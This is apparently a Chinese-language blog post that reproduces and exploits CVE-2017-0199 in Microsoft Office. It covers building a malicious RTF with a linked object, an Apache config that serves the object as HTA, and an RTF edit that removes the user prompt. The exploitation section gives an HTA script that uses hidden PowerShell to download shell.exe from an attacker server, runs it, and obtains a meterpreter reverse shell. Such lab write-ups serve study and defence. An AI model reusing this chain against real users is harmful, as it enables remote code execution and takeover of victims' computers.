CVE-2017-0199 Microsoft Office 逻辑漏洞复现和利用

0x00漏洞简介

该漏洞是去年四月FireEye公布的一个OFFICE 0day,在无需用户交互的情况下,打开word文档就可以通过hta脚本执行任意代码。经过研究发现,此漏洞的成因主要是word在处理内嵌OLE2LINK对象时,通过网络更新对象时没有正确处理的Content-Type所导致的一个逻辑漏洞。

受影响的版本
Microsoft Office 2016
Microsoft Office 2013
Microsoft Office 2010
Microsoft Office 2007

0x01复现过程

首先,创建一个正常的word文档,作为将要链接的rtf对象,就叫做test.docx吧。
test.docx
然后,将test.docx重命名为test.rtf后放到Apache服务器上面,并创建另一个文档,选择插入->对象->由文件创建,输入rtf文件路径后选择链接到文件。然后将该文件另存为rtf文件,就叫他exp.rtf吧。

exp.rtf

此时,打开exp.rtf可以看到刚刚链接的test.rtf是以一个整体的格式显示。
exp.rtf

这时,我们在服务器端修改test.rtf文件为Visual Script Script代码需要注意反斜杠的转义,这段代码将弹出本地计算器。
test.rtf

当然,需要改一下Apache的配置,该代码会将该目录下的文件识别为hta脚本,然后重启服务器。

1
2
3
<Directory /var/www/html/test/>
Header set Content-Type "application/hta"
</Dirctory>

点击“是”即可弹出计算器,此时用010Editor打开该文档,将\object\objautlink\rsltpict替换为\object\objautlink\objupdate\rsltpict,虽然仍然会有提示,但不需与用户交互,计算器便会自行弹出。

修改前1
修改前2
修改后

0x02利用过程

由上述部分,我们已经可以成功在打开exp.rtf的电脑上执行VBS代码,现在思路为将服务端的后门下载到本地运行,在远程监听,即可实现利用。

  • 后门准备

利用最metasploit生成喜闻乐见的meterpreter后门,放在与test.rtf相同目录下。
后门准备

  • 修改代码

由于前面漏洞复现的时候已经有了VBS运行程序的代码,只需再找一条下载文件的代码就行了,代码如下。

1
2
3
4
5
<script>
a=new ActiveXObject("WScript.Shell");
a.run("PowerShell -WindowStyle Hidden (New-Object System.Net.Webclient).DownloadFile('http://192.168.43.153/test/shell.exe','%temp%\\aaa.exe');",0,ture);
a.run('%temp%\\aaa.exe',0);window.close();
</script>
  • 服务器监听

metasploit配置监听本地端口。
服务器监听

  • 反弹shell

在靶机上打开exp.rtf,进程中出现下载到本地的后门aaa.exe。返回服务器查看,shell反弹成功。
执行成功
反弹成功

0x03参考文章

Tuuu’s Blog
嘶吼的一篇文章

文章目录
  1. 1. 0x00漏洞简介
  2. 2. 0x01复现过程
  3. 3. 0x02利用过程
  4. 4. 0x03参考文章
,